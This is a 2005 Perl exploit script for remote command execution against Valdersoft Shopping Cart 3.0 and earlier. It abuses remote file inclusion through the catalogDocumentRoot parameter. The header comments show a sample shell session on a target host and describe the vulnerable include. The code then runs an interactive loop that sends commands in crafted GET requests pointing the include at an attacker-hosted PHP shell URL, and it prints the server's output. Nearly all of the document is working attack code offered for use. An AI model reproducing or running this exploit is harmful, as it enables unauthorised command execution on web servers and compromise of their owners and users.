#!/usr/bin/perl # # cijfer-vscxpl - Valdersoft Shopping Cart <=3.0 Remote Command Execution Exploit # # Copyright (c) 2005 cijfer # All rights reserved. # ## 1. example # # [cijfer@kalma:/research]$ ./cijfer-vscxpl.pl -h www.valdersoft.com -d /store # [cijfer@www.valdersoft.com /]$ id;uname -a # uid=2526(apache) gid=2524(apache) groups=2524(apache), 10004(psaserv) # FreeBSD valdersoft.com 4.9-RELEASE FreeBSD 4.9-RELEASE #0: Wed Nov 19 00:35:22 EST 2003 # tim@temp.atlnetworks.com:/usr/src/sys/compile/PLESK i386 # # [cijfer@www.valdersoft.com /]$ # ## 2. explanation # # various files within 'include\templates\categories' contains unsanitized and undefined # variables which can allow remote file inclusion, leading to remote command execution. # this can be done by entering a remote url within the 'catalogDocumentRoot' variable. # ## 3. the bug # # this is obvious _why_ it is dangerous. # # ... # include($catalogDocumentRoot.$catalogDir."include/modules/categories_path.php"); # ... # ## 4. the php shell # # this exploit grabs data via regular expression strings. foreign php shell # scripts will not work with this exploit. use the following code along with # this exploit and put it in 'cmd.txt' or whatever you please: # # # ## # # $Id: cijfer-vscxpl.pl,v 0.2 2005/12/30 11:44:00 cijfer Exp cijfer $ use Getopt::Std; use IO::Socket; use URI::Escape; getopts("h:d:"); $host = $opt_h; $dirs = $opt_d; $shel = "http://site.com/cmd.txt"; # cmd shell url $cmdv = "cmd"; # cmd variable (ex. passthru($_GET[cmd]);) $good = 0; if(!$host||!$dirs) { print "cijfer-vscxpl.pl by cijfer\n"; print "usage: $0 -h cijfer.xxx -d /valdersoft\r\n"; print "usage: $0 -h -d \r\n"; exit(); } while() { print "[cijfer@".$host." /]\$ "; while() { $cmds=$_; chomp($cmds); last; } $string = $dirs; $string .= "/include/templates/categories/default.php?"; $string .= uri_escape($cmdv); $string .= "="; $string .= "%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B"; $string .= uri_escape($cmds).";echo"; $string .= "%3B%65%63%68%6F%20%5F%45%4E%44%5F;echo;"; $string .= "&catalogDocumentRoot="; $string .= $shel; $string .= "?"; $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "error: connect()\n"; print $sock "GET $string HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Accept: */*\n"; print $sock "Connection: close\n\n"; while($result = <$sock>) { if($result =~ /^_END_/) { $good=0; } if($good==1) { print $result; } if($result =~ /^_START_/) { $good=1; } } }